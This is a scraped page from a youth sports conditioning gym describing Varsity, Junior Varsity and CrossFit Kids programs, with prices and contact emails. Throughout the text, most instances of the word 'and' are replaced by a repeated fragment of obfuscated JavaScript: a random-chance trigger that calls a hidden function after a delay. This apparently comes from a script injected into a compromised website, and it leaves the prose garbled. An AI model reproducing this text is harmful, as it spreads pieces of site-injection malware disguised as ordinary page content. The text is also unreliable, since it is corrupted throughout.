Varsity

90min Strength andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Conditions sessions for Grades 10+ athletes. The session consists of two main focal points. Developing power output andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and maximizing gains through improving technical movements. As well as, mastering all anaerobic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and aerobic protocols including acceleration, deceleration, reactive agility, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sporting awareness to excel in all sports.

Junior Varsity

60min strength andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and conditioning session for Grades 8&9 athletes. These sessions are programmed to develop, enhance, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and improve all athletic movements. Sessions incorporate upper andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lower body strength using introductions to barbell strength. These sessions also integrate functional speed, agility, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and quickness. With focal points of proper running technique, injury prevention, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and all the necessary technical mechanics to exceed in any sport or activity.

Email kyle@charlesriversf.com for more information

CROSSFIT KIDS & Teen Fitness

Charles River CrossFit Kids is geared on enhancing the general fitness, work capacity, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and athleticism of kids ranging from 8-12 years old. The focus of the weekly one hour sessions will be on improving the proficiency of general physical skills ranging from flexibility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and agility to strength andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and power. The goal of the program is to build a more capable student andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and athlete who will excel at any sport or activity.

Pricing (same for both sports andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and CrossFit Kids):
  • 3 x per week – $125.00 per month
  • 2 x per week – $100.00 per month
  • 1 x per week – $60.00 per month

Email coleen@charlesriversf.com for more information